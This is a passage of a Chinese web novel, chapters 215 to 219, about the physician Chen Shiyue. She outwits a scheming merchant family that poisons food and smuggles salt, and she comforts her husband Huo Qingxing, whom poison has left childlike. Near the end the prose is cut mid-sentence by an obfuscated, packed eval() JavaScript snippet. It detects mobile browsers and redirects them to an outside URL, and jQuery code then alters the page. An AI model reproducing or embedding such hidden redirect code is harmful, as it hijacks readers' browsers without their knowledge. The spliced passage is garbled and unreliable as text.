厨娘婶子和管家伯伯护着她,一个在前面探路,一个则是紧紧牵着她的手,拼了命的把她往外面送,一门心思只想逃离被抓的命运。 出了城之后,他们带着她乘坐马车,拼命的往前跑,每到一个分岔路口,他们都要停下来,做好所有的假象,避免被人追上。 一路跑,一路担惊受怕。 看到公家的人,都得瑟瑟发抖。 最后他们还是被人发现了,其后被人追赶,为了她的安全,三人便打算分开,让陈识月留在小村镇上,安置好她之后,厨娘和管家就带着她的东西分头跑。 跑一阵,丢点东西在路边,仿佛是匆忙逃窜而落下的把柄,把官兵引开…… 庆幸的是,靠着这些小伎俩,三个人最后都活下来了。 逃出生天! 可当中的惊心动魄和恐惧,是没办法用言语形容的。 逃亡,并不励志。 相反,这是从身到心都要历经的苦难。 以至于在后来的岁月里,只要心里一紧张,或者是白日里有所晃神,夜里都会做噩梦,梦到自己被追杀,梦到那一路的逃亡。 如,现在! 一声低呼,陈识月从噩梦中惊醒,额头满是细密的冷汗,连带着呼吸都带着几分喘。 外头的护院听得不对劲,当即敲门,“月大夫?” “没事!”陈识月赶紧回应,“我没事。” 如此,外面的人放了心。 拭去额头的冷汗,陈识月掀开被褥起身,不知道厨娘婶子和管家伯伯现下如何?躲开了那些腌臜事,应该是安全的吧? 端起杯盏的时候,她兀自轻嗅,确定没问题,才放心的喝了口水。 神志回笼,脑子也跟着清楚起来。 徐玉安急急忙忙的推门而入,“怎么了?怎么了?” “没事。”陈识月从容的放下手中杯盏,只是脸色不太好,瞧着有点苍白。 徐玉安担忧的看着她,“不舒服吗?” “在陌生的地方休息,免不得做噩梦了。”陈识月无奈的扯了扯唇角,“那两兄弟如何?” 徐玉安也不清楚,“有生伯在,出不了大事。” 陈识月抬步就走,却又被徐玉安叫住。 “月儿?”徐玉安迟疑了一下。 陈识月不解,“怎么了?你不会想让我,弄死那两货吧?” “不是不是!”徐玉安忙不迭摆手,“表妹夫在徐家。” 心下咯噔。 陈识月是个聪明人,他一开口,她就知道情况不对。 “受伤了?”陈识月皱眉。 霍青行的功夫不弱,按理说没人能轻易伤了她,除非…… “中毒了!”陈识月眉心陡蹙,“他有解毒丹,只要不离开永安县,应该有足够的时间赶回去,找舅父和外祖父救命。” 徐玉安:“……” 她怎么什么都猜得到? 见徐玉安不说话,陈识月心下有点发慌,“他……他如何?” “祖父出手了。”徐玉安死死盯着她,“伤势稳定,但是毒性很诡异,所以……” 陈识月兀自思忖,须臾便明白了意思,“蛮子的毒?” “你这脑子是怎么长的?为什么我觉得……咱同出一门,却如此不同?”徐玉安挠挠额角,“好像什么都知道?” 陈识月明白了,外祖父这是怕霍青行有什么好歹,所以慢慢祛毒,不敢下虎狼之药,毕竟甚少接触蛮子那边的毒,处理起来有点麻烦。 “生伯让你放心。”徐玉安出声宽慰,“祖父自有分寸。” 陈识月垂眸,心头不断萦绕着他的容脸…… 霍青行! 第二百一十五章 祖父把姐夫治成了傻子? 有徐敬在,虽然有危险,但不至于有性命危险,只不过这一颗心悬起,就再也没放下,陈识月的沉默便是对霍青行最好的回应。 当然,没危险是好事,但…… 徐玉莹眉心突突跳,瞧着跟前的表姐夫。 眼神呆滞,嘿嘿傻笑,虽然脸还是原来的脸,人还是原来的人,可是这表情……怎么越看越不对劲啊? “祖父,你不会把人给治傻了吧?”徐玉莹脑瓜子嗡嗡的,“姐夫,你傻了?” 说着,徐玉莹挥手在霍青行跟前晃了晃,“姐夫,这是几?” 王氏慌乱了一瞬,回过神来,慌忙拽了徐玉莹一把,“你这丫头,别胡言乱语,什么傻不傻的,别在这里瞎折腾,有你爹和你祖父在,轮不到你乱来。” 话是这么说的,可这心里的忐忑却也是实实在在。 “父亲?”徐庚愕然,“这怎么会……” 霍青行扫一眼众人,大概觉得有些陌生,忽然就哭丧着脸,“我要姐姐?姐姐呢?姐姐在哪里?” 徐玉莹:“啊呀呀呀呀,他真的傻了!” 王氏慌忙捂住她的嘴,“哎呦我的祖宗,你别乱说话,闭嘴!出去!” “不许乱说话。”徐敬瞪了孙女一眼。 从未见过祖父如此疾言厉色之态,徐玉莹登时哑声。 “出去!”徐庚的脸色也不好。 徐玉莹不敢再说话了,这要是让表姐知道,她的心肝宝贝好夫郎,变成了神情迟滞大傻哥,不知道会作何反应? 应该会疯吧? “父亲?”待徐玉莹出了门,徐庚忙问,“这是怎么回事?我瞧着他脉象上虽有中毒迹象,但好像并非单纯的中毒。” 徐敬却是不慌不忙,“你忘了,多年前瑶儿离开的时候,带走了什么东西?” 音落,徐庚一怔。 徐家祖传的丹药,救命的丹药。 倒不是这丹药有多保密,而是这炼制丹药的方子里,有好几味药都世间难得,即便是宫里都未必能凑齐全,有些甚至需要深入漠北,远去西域。 因为难以凑齐,所以能炼制出一炉都实属不易,当初徐瑶离家的时候,随身带了一颗,当然……也准备了一些赝品。 所谓赝品,就是用替代的药材来炼制,瞧着差不多,实则差很多。 但,也能救命。 到死的那一刻,徐瑶也没吃,而是留给了唯一的女儿。 说来也真是因缘际会,陈识月带着那一枚药丸,兜兜转转……竟是一时脑抽,情绪上头,送进了霍青行的嘴。 “这还真是……”徐敬无奈的叹气。 丈母娘留下的救命药,最后兜兜转转,救了自家女婿。 缘分,就是这么妙不可言。 “难怪他中了毒之后,服了解毒丸竟还会这般脉象凌乱,感情是体内在打架?”徐庚恍然大悟。 还以为他中毒严重,怕是极为危险,没想到……是体内的救命丸和解毒丸联手,与蛮子的剧毒在干架,一通王八拳下来,蛮子那点剧毒当然不是什么太大的问题。 只是这“干架”的后遗症有点严重,让他本就淤血未散尽的脑袋,又开始了浑浑噩噩起来,以至于变回了此前的痴傻模样。 “那现在怎么办?”徐庚问,“待月儿回来,见着……怕是要伤心坏了。” 徐敬转头看他,“这只是时间问题,又不是一辈子都会这样,等着体内剧毒全都排出体外,或者是被全部吞噬殆尽,他就恢复过来了,没什么事。” 时间问题。 陈识月自己也是个大夫,很清楚这些,即便是伤心也只是暂时的。 “月儿自己就是个大夫,他比你更理智,这点倒是随了她母亲。”徐敬面露哀伤之色,“慧极必伤,有时候太聪明也不是好事。除了感情羁绊,没人能困得住。但愿月儿,不要走她母亲的老路。” 情感这东西,惯来是自己给自己上的枷锁。 唯有放下,才得自由。 徐瑶性子倔,一辈子没放下,所以一辈子没从自己牢笼里出来,是以徐敬不希望自己的外孙女,也跟她母亲一样。 感情虽好,但自己更重要。 霍青行现在瞧着不错,可谁知道以后会如何呢?人的劣根性不会一下子表露出来,有时候鬼迷心窍,谁又能说得准? 徐敬是真的忧心忡忡,看了看还叫嚷着要找“姐姐”的霍青行,又是长长的叹了口气。 见此情形,徐庚也不好再说什么,只能努力的安抚霍青行。 “我要姐姐,我要去找姐姐!” 傻大个还是原来的傻大个,不管不顾,谁的话也不听,只想找陈识月,也只听陈识月的,谁的话也不听,要不是这会身子虚弱,怕是真的要跑出去了。 没法子,徐敬只能用药,让霍青行继续睡着。 “我家少将军……”安信方才一直在外面候着,屋内的一惊一乍,其实他能听得一二,但是不懂医理便也不敢多问。 想着徐家到底是月大夫的母家,应该不至于害了少将军。 “毒不是问题。”徐庚解释,“前提是别跑出去。” 安信一怔,“那少将军什么时候醒来?” “你最好期待,他暂时不会醒。”徐庚意味深长的说,“看好他,照顾着点,若是醒来即刻叫人,一刻都不要耽误。” 安信骇然,“这么严重?” “是!”徐庚点头。 这要是让人知道,霍家的少将军出了事,那还得了?! 今日天气不错,天空一碧如洗,微风拂面,倒是透着几分暖意。 商家这边的情况算是稳定了下来,商武醒了,还能吃上两口流食,虽然身上还有些许余热,但只要伤势不反复,应该没什么问题。 现在就剩下商野这边,情况还是有点糟糕,出血的情况已经好转,但是人还处于昏迷之中,无法进食也不能喝水,肉眼可见的萎靡下去,身上的高热反反复复,伤口也出现了溃烂的迹象。 既是溃烂,自然是要切除烂肉,否则新肉不长,烂肉弥漫,离死不远! “月大夫,这要如何是好?”商城担忧的问,但心松了一半,毕竟两个儿子保住了一个。 陈识月在水盆里洗去了手套上的血水,“我已经处理了伤口,还是那句话,看老天爷的意思吧!伤得这么重,能熬过一晚上,已经是祖宗保佑。” 但如果祖宗不保佑,自然另当别论…… 高秀娥张了张嘴,忽然不知道该说点什么? 求饶? 还是威吓? 好像都不管用。 蓦地,外面有人急急忙忙的跑来,“老爷?老爷!” 大事不妙! 第二百一十六章 她不高兴,谁也别想好过 这着急忙慌的,扰得屋内众人,一个个人心惶惶,不知道究竟出了什么事,但听这焦灼的语气,肯定是出了大事。 慌不择路,慌乱无措。 商城心头一紧,毕竟还有外人在场,他当然不能就此开口,当即踏出了房间,“怎么回事?也不看看这是什么地方,大呼小叫的成何体统?” 底下人瑟缩了一下,没敢再吭声。 主仆二人走到了僻静处,交头接耳的不知道说了什么,等着奴仆离开,商城转回,脸色甚是难看,周身透着显而易见的冷意。 陈识月看得出来,若不是天塌了,都不至于这般神色。 猜一猜? 霍青行坏了他们的好事,被他们发现了? 会是什么好事呢? “月大夫?”商城又道,“犬子的事情,就劳烦月大夫了!” 陈识月挑眉,上下打量着他,“商夫人做的事情,商老爷知道吗?” 商城:“??” 高秀娥张了张嘴,却是喉间哽住。 “不知道,还是串通好的?”陈识月双手环胸,“要不是秉持着救人一命的缘由,我是不会再留下来的。” 商城转头看向高秀娥,“你做了什么?” “我、我什么都没做。”高秀娥下意识的摇头。 商城转头看向陈识月,“月大夫,是不是有什么误会?” “是不是误会,商夫人心里最清楚,吃点你商家的东西,喝点水,都得挑着来,生怕一不留神就让商夫人给毒死了!”陈识月直接戳破了窗户纸。 她是一点情面都没给高秀娥留,甚至于知道这可能是夫妻二人,商议过后的结果,但是当面戳破,总归难堪。 陈识月倒要看看,这夫妻二人的脸皮有多厚? “什么?下毒?”商城诧异,反手便是一巴掌扇在了高秀娥的脸上,“混账东西,你是疯了吗?月大夫是来治病救人的,要不是她,咱两个儿子都得死,你是疯了吗?” 陈识月就在边上站着看戏。 徐玉安皱眉,跟生伯对视一眼,也只是默默站在边上,是真情实意还是虚情假意,只要不是傻子都能看得出来。 高秀娥做的那些事情,必定是受了商城的指使或者是默许,要不然商家的当家人,怎么可能什么都不知情? 枕边人是什么德行,彼此最清楚。 要不是霍青行出事,陈识月也不会这般着急,现在也好,让他们狗咬狗,就算是表面让他们不痛快,也是极好的。 她心里不舒服,谁也别想好过。 “我……我就是怕月大夫到时候不愿意、不愿意再救治儿子。”高秀娥先是愣了一下,然后便捂着脸痛哭起来,“我有什么办法?我能怎样?就这么两个儿子,要是出了事,我也不就不活了!” 哭声,吵闹声,让屋子里变得闹哄哄的。 陈识月的脸上逐渐浮现出不悦的神色,“好了,商老爷,咱是来瞧病的,等到贵公子身子好转,人清醒了就走,所以撤了那些手段便罢了!要不然,事情传出去,怕是以后都不敢有人轻易踏入商家,惹得外头的大夫都人人自危。” 给别人瞧病,那叫出诊。 给商家瞧病,那是出殡。 换谁? 谁敢? 商城的脸色青一阵白一阵,只能讪笑着点头称是,一个劲的赔笑脸。 “我这就让人准备好茶饭,决不能委屈了恩公。徐家大恩,月大夫大恩,商家无以为报,待犬子好转,必定有重谢。”商城一个劲的感谢。 陈识月摆摆手,“不是什么大事,反正出事的是贵公子,跟咱既不沾亲也不带故。” 简而言之,是死是活,他们都不难受。 反观商家,作茧自缚。 商城一个眼神过去,高秀娥便哭哭啼啼的走出了房间。 出了门,商城叹口气,“你为何如此愚钝?这点小事都办不好?看看你生的那几个,都是学了你这般蠢脑子,一件事都做不好,最后还惹得一身骚。” “我也没想到,她竟是这般聪慧,还……还给瞧出来了。”高秀娥面上印着鲜红的五指印,眼神里满是不甘心。 商城略有些恨铁不成钢,“连个小丫头片子都不如,你可真是……太让我失望了。” “我……”高秀娥张了张嘴,竟是无力反驳。 商城环顾四周,压低了声音,“明日就是诗文大会,你这两日务必盯着点,免得儿子出事,至于徐家那边……最近应该不会再啰嗦,都忙着处理他们的药材,弄不好就摊上人命,坏了他们的百年声誉。” 书香门第,世家大族,最怕的就是败坏声誉。 “他们把这声誉看得比命还重要,必定没那么多心思,落在诗文大会和咱们身上。”商城眯起危险的眸子,“趁着这个机会,让金都来的那些人……” 说到这,商城顿了顿,没有再多说什么。 “我知道。”高秀娥点点头,“家里的事情你放心便是。” 商城闭了闭眼,“长乐门出了事。” 话音落,高秀娥骇然心惊,总算明白他为何方才那般恼怒。 “人丢了。”商城睁开眼,“眼下这些事情若是不做好准备,只怕咱们九族性命都得搭进去。家里的事情,我没那么多功夫,你不要再旁生枝节,这月大夫……罢了!” 高秀娥点点头,“好!” 商城得尽快处理那些事,毕竟明日就是诗文大会开幕,该来的到底是要来的。 待高秀娥重新回来的时候,面上堆满了笑意,只是这面颊高高肿起,笑起来就怪瘆人的,“月大夫,此前多有得罪,万望体谅我一个母亲的爱子心切,只要我儿子能痊愈,接下来不管让我做什么,我都是心甘情愿的,任凭吩咐。” “没那么严重。”陈识月借坡下驴,“不过是治病救人,莫要弄得勾心斗角,咱没那么多毛病,也没那么小心眼。待公子醒转,咱就会离开,彼此各不相干,我也不会挟恩图报!何况,我好自由,不会在永安县久留,你们没必要把心思放在我身上。” 闻言,高秀娥一怔,“你要走?” “我本就不是永安县人士,来此也只是为了拜访徐大夫,为何要在此处久留?”陈识月白了她一眼,“真是好笑。” 高秀娥:“……” 还以为她是徐家请来的救兵,会帮着徐家,没成想…… “不是吧不是吧,你们不会以为我会一直留在徐家?想什么呢?”陈识月嘲讽的笑着,转手给她递了一张方子,“按方抓药吧!” 高秀娥讪讪的接过,看了一眼药方,兀的愣住…… 这? 第二百一十七章 独属于她的傻大个 药方上那些药,倒不是有什么特别,而是这些药……都是最近这段时间,商家掺在徐家药材里的东西,混淆视听,甚至于可能会害人性命。 这件事是商夫人高秀娥去办的,毕竟商城忙着处理那些大事,哪儿有空折腾徐家,是以夫妻二人都不是好人,但都知道要分工合作。 高秀娥的脸色变化得很是玄妙,一会黑一会白,一会青一会更青。 “怎么了?”陈识月故作不解,“商夫人是觉得这方子不对?” 高秀娥看向陈识月,眼神里带着几分探究,张了张嘴,却也只能讪讪的咽了回去,她本就是从徐家出来的,即便是帮着徐家出气,也没什么可奇怪。 “没什么!”高秀娥深吸一口气,“我这就让人去抓药。” 还能如何? 儿子的性命都捏在陈识月的手里,这口气不得不咽下。 瞧着高秀娥转身离去的背影,徐玉安和生伯对视一眼,终是松了口气。 “你那方子……”徐玉安皱眉。 陈识月不以为意,“都是她掺在咱家药材里的东西,看她方才那神色,想必是认出来了,她应该……略懂医理。” “这倒是不曾听说。”生伯有些诧异。 陈识月想着,能拿出那么多的毒物,时不时掺合在茶水和饭食里,若是什么都不懂,怕也做不到这般细致。 只是这高秀娥一直没表露出来,不曾显山露水,所以无人察觉。 商家主母的事情,谁敢轻易打听? “以后小心点。”陈识月低语。 这是一个隐藏的雷,谁知道什么时候会忽然在背后,捅徐家一刀,自然是要小心的。 诗文大会即将开始,那就意味着金都的人也该到了吧? “生伯,诗文大会的时候……金都的人……”陈识月小心提示。 生伯了悟,“放心便是,会有人盯着的。” 主家那边肯定会留意,毕竟表小姐的身份不同寻常,生伯心里清楚,却也不敢说得太清楚,秘密只有烂在肚子里,才能算是秘密。 陈识月这边倒是还算安稳,只是徐家那边不太平了,霍青行一睁眼就喊姐姐,一张嘴就是要姐姐,一转头就要去找姐姐,以至于徐家人劝也劝不住,看也看不住。 要知道,即便是傻大个,那也是力大如牛,寻常男子根本摁不住他。 徐玉莹直挠头,“娘,这样行吗?” 瞧着家奴拿着绳子,想要把人捆起来,一个两个全都面色讪然。 当然,捆得住也是本事。 问题是,捆不住。 一个两个就跟小鸡仔似的被摔在地上,疼得哎呦哎呦直叫唤。 安信忙上前安抚,却也被一掌推开,要不是霍青行脑子不清楚,不会用内力,这一掌能让安信直接嵌进墙里去。 “哎呦我的公子!”安信扶着腰,“怎么又犯病了?” 徐玉莹回过神来,“是不是只有姐姐才能治他?” “这还用得着问?你没瞧着,这都快掀屋顶了?怕是他老子来了,都认不出来。”安信叹口气,“这总不能一直这么闹腾吧?” 可惜,余毒未清,不然倒是可以直接带走。 “我去找姐姐。”徐玉莹低语,“你们无论如何都要看好他。” 安信犹豫,“能行吗?商家那边不放人,你当如何?” “我不行,可我姐姐行!”徐玉莹白了他一眼,“姐姐的医术极好,要不是如此,商家也不至于扣着人不放,她要不是为你们拖延时间,根本就不会在那里待着。” 安信哑然失语。 好吧! 这是事实。 “那现在怎样?”安信问。 徐玉莹上前,“姐夫,你是不是真的想见到姐姐?” 听到“姐姐”这两个字,霍青行陡然安静下来,“我要姐姐。” “那你听不听话?乖不乖呀?”徐玉莹哄着他,就像哄着小孩子一样。 霍青行连连点头,“听姐姐的话,很乖。” 安信:“……” 少将军如今这副模样,要是让军中那帮老爷们瞧见,不得笑死? 事实上,他也没忍住,捂嘴偷笑。 “那你乖乖吃药,吃了药我就带你去找姐姐,好不好?”徐玉莹继续哄着他。 霍青行站在那里,披头散发的看向周遭众人,一个两个都被他摔在地上,着实狼狈不堪,再打下去,怕是都得伤筋动骨。 “好!”霍青行很乖,变回了傻大个倒是没之前的那股生人勿近之气,只是瞧着他这般委屈的模样,徐玉莹委实有点不忍心了。 吃了药,徐玉莹带着他上了马车。 “这行吗?”安信骇然,“万一被商家的人发现……” 徐玉莹白了他一眼,“我说行就行。” 语罢,马车快速离开了徐家。 王氏无奈的摇头,这一双儿女真是让人头疼,委实不如陈识月办事沉稳,乖巧懂事,甚至于一双儿女加起来,都凑不齐一副脑子,可千万千万不要惹事! “你们几个,悄悄的盯着点,若是商家闹事,就赶紧帮忙拦着。”王氏摆摆手。 几个家丁赶紧从后门出去,快速去追。 马车停在后巷子里,人早就进去通知徐玉安和生伯了,所以陈识月便去了后门。 商家的人想拦着,可徐家的人也拦着呢! “我家妹子来给月大夫送点好吃的,你们商家的人为何要拦?”徐玉安理直气壮,“咱是进来瞧病,可不是来卖身为奴的!识相的最好保持不动,要是惹毛咱们,丢下你们那两个半死不活的公子,让商家断子绝孙。” 这话可不是说说而已,现在谁不知道,商家两位公子的性命,就捏在这位月大夫的手中? 商家的家奴面面相觑,一个两个暂时不敢上前。 马车内。 陈识月刚上去,冷不丁被人抱了满怀,心下一怔,却是熟悉的温暖,好不遮掩的偏爱与保护,紧紧的将她包围其中。 边上的徐玉莹张大嘴巴,眼睛瞪大如铜铃。 这般……直白而张扬吗? “姐姐!” 原本还在发愣的陈识月,在听到这话的瞬间,脑瓜子嗡的一声炸开,骇然扬起头,不敢置信的看着近在咫尺的容脸。 她伸出手,轻轻摸了摸霍青行,看着他眼中清澈的愚蠢,止不住眉心突突跳,登时看向徐玉莹,“他这是……” 徐玉莹指了指脑子,无奈的摊手耸肩。 “姐姐,别不要我,我很乖的!”霍青行委屈的嘟哝。 陈识月倒吸一口冷气,她的傻大个回来了?! 第二百一十八章 亲到了! “姐姐。姐姐。” 耳畔传来傻大个一遍遍的呼唤,陈识月终于回过神来,看一眼在边上别开头,不敢睁眼,却憋着嘴偷笑的徐玉莹,一时间竟有些精神恍惚,不知道该解释点什么? 好半晌,陈识月轻轻拍着霍青行的脊背,像是当初他还痴傻时的模样,一遍遍的宽慰着,“别怕,姐姐不会丢下你不管,但你一定要乖乖的,不许闹事,不许不听话,明白吗?” 这个时候的霍青行自然是乖巧得不像话,宛若那时候的傻大个,她说什么便是什么。 “接下来你要听这妹妹的话,要跟着她,不能不听话,不能一个人悄悄跑掉,明白吗?”陈识月低声叮嘱,其实她也清楚,这种状况下的霍青行,就是个傻子,未必听得明白。 霍青行直摇头,“我不,跟着姐姐。要姐姐。” 徐玉莹凑近了小声说,“姐姐,祖父和父亲说了,他这种状况不会持续太久,你只管放心便是,只不过在家里闹得厉害,我不得已才带他来见你的。你不知道,那么多人都压不住他,咱是真怕他出事,又不敢真的上去……万一伤着那便坏了。” 好歹是霍家的人,与他们这些平头百姓是不一样的。 “你做得极好。”陈识月推开了霍青行。 这傻小子还在嘿嘿笑着,一双眼睛就跟黏在陈识月身上似的,死盯着她不放,生怕她又消失了。 见此情形,徐玉莹扯了扯唇角,“姐姐,他以前有过这样的状况吗?我瞧着你好像一点都不诧异,也不觉得惊讶。” “嗯。”陈识月没有否认,“他这条命就是我捡回来的,当初还把祖传的秘药都给了他。” 徐玉莹恍然大悟,“难怪祖父说,他体内的秘药和解毒丹正在干架,所以给他干成了傻子,还真是命大,所幸遇见了姐姐,姐姐便是他的福星。” “总归是相互成就的。”陈识月叹口气,使劲扒拉着他的手,奈何霍青行死死抱着她的胳膊不放,整个人都快像粘鼠板一样,黏在她身上了。 徐玉莹:“……” 此前只觉得这位姐夫看表姐的眼神里带着光,现在瞧着,好像带着麻袋,恨不能把表姐打包带走,仿佛出现在表姐身边的活物,不管男女雌雄都成了威胁。 比如说,霍青行看过来的眼神。 “姐啊?”徐玉莹瑟缩了一下,“他好像要吃了我!” 陈识月当即捂住了霍青行的眼睛,“这样会不会好点?” 徐玉莹连连点头。 霍青行:“??” “待会你带着他回去,让外祖父和舅舅先帮他祛毒,等到毒清干净了,他就会恢复神志。”陈识月方才已经为他把过脉了,“恢复之后就不会有如此荒诞的行径。” 徐玉莹还是有些犹豫的,“但是他一直要找你,谁的话都不好使,连他那些兄弟都被他打半死,光凭我一人,可以带得动他?” “他听我的话。”陈识月道,“我让她听你的。” 徐玉莹点头,本来也是这么想的,毕竟谁都奈何不了,如今有陈识月发话,自然是最好不过的。 “我与他交代两句。”陈识月低语。 徐玉莹想了想,“我先下车吧!” 说着,她赶紧钻出马车。 拒绝狗粮,从她做起。 待人一走,陈识月这才松了口气,瞧着直勾勾盯着她的霍青行,无奈的叹气,“待会跟着那妹妹回去,要听妹妹的话,好好吃饭,好好吃药,好好睡觉,记住了吗?” 霍青行左耳进,右耳出。 她就知道,会是这样的结果。 “如果你不听话,那我以后可就再也不理你了。”陈识月捧起他的脸,“明白吗?” 她义正辞严,他委屈到想哭。 忽然间的四目相对,竟让她有一瞬的愣神,猛地撞进满满当当只有她的黑眸中,心仿佛漏跳了半拍,一时间连呼吸都变得尴尬起来。 单纯也有单纯的好处,那就是勾人。 谁能拒绝,这般灼热的目光,满心满眼都是你的梦境。 “要乖乖的,知道吗?”陈识月宛若哄孩子一般哄着他,“听妹妹的话,听我的话,要不然的话,我就真的不要你了。” 霍青行眼睛都不眨的盯着她,生怕她跑了似的。 “乖乖的。”她鼓起勇气,在他额头轻轻落吻。 柔软的唇,温热的额头,肌肤相触的那一瞬,陈识月的脸瞬时红到耳根,但还是佯装镇定的看着他,温声软语的叮嘱,“回家等我。” “嗯?”霍青行摇摇头,努努嘴,“这里,也要。” 陈识月:“??” 是真的傻了? 还是装疯卖傻? 奈何脉象上来看,的确是有些脉象紊乱,确实像是傻了。 “姐姐……” 他尾音拖长,眼巴巴的看着她,像是受伤的小兽。 奈何这么大的体型,怎么看都不像是家猫,倒像是收起爪子的虎狼,随时等着扑上来,将她吞下腹中,吃得干干净净。 陈识月无奈的叹口气,好在马车里没有人,“可不许告诉旁人。” “嗯!”他兴奋的点头,满眼放光。 陈识月旋即凑上去,快速在他唇上亲了一口,若蜻蜓点水,还没尝到味儿就已经结束。 再看这小子…… 嗯,这是什么表情? “不许告诉别人,这是我们之间的秘密,你要是敢泄露出去,姐姐以后就不和你玩了。”陈识月威吓,“要听话,先回家,明白吗?” 霍青行点点头,看着好像还有点不高兴。 都亲你了,还不高兴? 臭不要脸的,你莫得寸进尺。 心里这么想的,面上的红晕却怎么都没褪下来。 “我们说好的。”陈识月刚起身要走,却被他忽然拽住了胳膊,紧接着身子一沉便坐了回去,面颊蓦地一热。 霍青行的唇,贴在了她的面颊上。 原本就滚烫发红的面颊,此刻更像是被泼了热油一般,连带着呼吸一窒,心跳都跟着停了。 羽睫骇然扬起,她僵坐在原地。 他的唇久久的贴在她的面上,温热的呼吸悉数喷薄在她面上,合着他鼻尖带来的触碰,让她身子都跟着止不住颤抖。 半晌过后,她回过神来,迎上他得意的傻笑,她逃也似的跳出了马车。 徐玉莹:“??” 表姐这是怎么了? 跳下来的? 跑了? “姐……哎哎哎……” 怎么越喊,跑得越快? 姐夫这是做了什么好事呢? 第二百一十九章 来了来了,暗箭来了 经此一遭,徐玉莹总算可以安安稳稳的,把霍青行带回去了,看得一直默不作声的安信,那叫一个愣了又愣,倒是真没想到,少将军还有这般听话的时候。 想当初在边关跟着老将军行军打仗,这父子二人杠起来的时候,恨不能掀桌子,一个是倔驴,一个茅坑里的石头,谁都别想谁低头。 认错? 不可能! 求和? 更不可能。 撒娇? 绝不可能! 但是现在,安信有点怀疑人生了。 “不用怀疑,这天底下的事情总归是一物降一物的,你觉得不可能,但就是这么明晃晃的发生了,人心里都有一块软肋,表姐夫的软肋……就是我表姐咯。”徐玉莹觉得自己这番话,说得有理有据。 不愧是整日沉迷话本子的人,说出来的话都是那么自带哲理。 瞧着徐玉莹信誓旦旦的样子,安信默默竖起大拇指,“有道理。” 再看霍青行摸着嘴,嘿嘿傻笑的样子,二人对视一眼,终是彻底沉默。 清醒时的冷静自持,拒人千里;傻子时的痴儿傻笑,粘人小奶狗……到底哪个才是真实的他? 回到商家的时候,陈识月的面上依旧泛着潮红,看向狐疑的徐玉安和生伯,不由得心下一紧,竟透着几分心虚,“没事。” “家里真的没事?”徐玉安问。 生伯用胳膊肘忖了他一下,示意他不要胡乱说话。 见此情形,徐玉安讪讪的闭了嘴。 不问便不问,只要大家都好好的便是。 今日倒是没太大的事儿,商武这边情况好转,商野那边的高热也稳步退下,人也有了一瞬的清醒,虽然只是暂时的,但对于商家来说,都是好事。 人能熬过来,便有活下来的机会…… 明天,便是诗文大会的好日子。 商家又开始忙碌,进进出出的。 刚入夜,天空就打了个响雷,似乎是要下雨了? 商城的脸色很难看,快速钻进了书房里,在屋子里来回走动,“怎么会失踪呢?” “起了一场大火,全部都被烧得干净,生不见人死不见尸,如今连长乐门的人都在找他们,就是……就是没有半点踪迹。”底下人战战兢兢的回答。 商城狠狠摔了手中的杯盏,“一帮废物,继续找!我就不信他们能插上翅膀飞了!明明都已经到了永安县,怎么可能一点痕迹都不留?还有,金都来的那些……” “派出去截杀的人都没有回来。”底下人的脑袋垂得更低了。 一个都没回来,这意味着什么,无需多言。 更糟糕的是,没回来也就罢了,最后连行踪都丢了,也就是说,他们预测这些人可能在诗文大会当日赶到永安县,原本可以安排得妥当,但现在还能盲人摸象,走一步算一步了! “废物,废物,都是废物!”商城大发雷霆,“还愣着干什么,还不快去找?” “是!” 底下人匆匆忙忙的离开书房,不敢有片刻的耽搁。 永安县就这么大,按理说不可能消失得无影无踪,商家在永安县扎根这么多年,不说能只手遮天,但也还是有点东西的。 可现在这种状况,只能说明一头压一头,有比商家势力更庞大的黑手,将商家的那些手脚都压制下来,到底是在商场混迹多年,商城很快就反应过来。 怕是…… 霍家插手了! 霍家是强龙,但强龙压不住地头蛇,若是非要压制,只有一种可能,与永安县的其他地头蛇联手,这其他地头蛇……只需要想想,便可猜到是徐家无疑。 霍青行来永安县是为了求医,既是求医,自然是冲着徐家来的。 只不过,徐家什么时候知晓,商家跟长乐门有所勾结,继而从中作梗? 不对不对! 徐家不可能知道。 何况其中还有蛮子掺合其中。 商城脑瓜子嗡嗡的,显然是有些慌乱,一时间也闹不清楚,到底有多少人掺合进来?自己贩卖私盐,犹如一把剑悬在头上,若是再出什么意外,这一次怕是真的要连九族都搭进去。 思及此处,商城急得团团转。 可即便如此也没别的办法,只能静观其变,免得再生枝节。 夜色沉沉,有人蠢蠢欲动,有人谋定而后动。 带着一本账册进了徐家,林序原是想将这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393912|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些证据交给霍青行的,谁知看到少将军的第一眼,他就心头咯噔一声,“完了!” 又成了这副死样子?! 完了完了! 安信嗑着瓜子,“没办法,他现在这样,连我都能骗得他尿裤子,担不起其他事。” “真是……”林序直挠头,“你们都是干什么吃的?好不容易让月大夫给救醒了,怎么又被你们给看坏了?这要是老将军知道,不得扒了你们的皮?” 安信啐一口瓜子皮,“哎哎哎,你说话别这么难听,整天你们你们的,这事可不全是咱的责任,咱只负责把人找回去,谁知道会遇见这么多的事?要怪,你去怪月大夫。” “你是想让我死啊?”林序将账册丢在桌案上。 去怪陈识月? 回头少将军清醒过来,不得把他剁碎了喂狗? “知道就好。”安信叹口气,“徐老先生说了,最多三五日,很快就能痊愈,便不会再这般宛若痴儿,反正我是没办法了。” 他有什么办法? 既不是大夫,也不是修道之人,不能扎针也不能扎纸人,除了等待便没了其他办法。 “这什么?”安信问。 林序揉着眉心坐下,也跟着嗑起瓜子来,“还能是什么?商家贩卖私盐的证据之一,可惜就找到一本账册,估摸着藏在别的地方。” 账册? “那把这个交给朝廷,商家不就完犊子了吗?”安信欣喜,赶紧翻了翻。 瞧着上面密密麻麻记载着,商家往来私盐的银钱进出,眉心都皱起。记录得还挺详细,这是拜了阎王爷,跟黑白无常打过招呼了吧! “都已经那么有钱了,为何还要干这些腌臜事?真是想不明白。”安信皱起眉头。 林序却不以为意,“谁会嫌钱多?揣兜里又不会烫手。人啊越往上爬,越不知足,反而是在脚底下的,吃上一口热饭都觉得上苍恩赐,此生足以。” 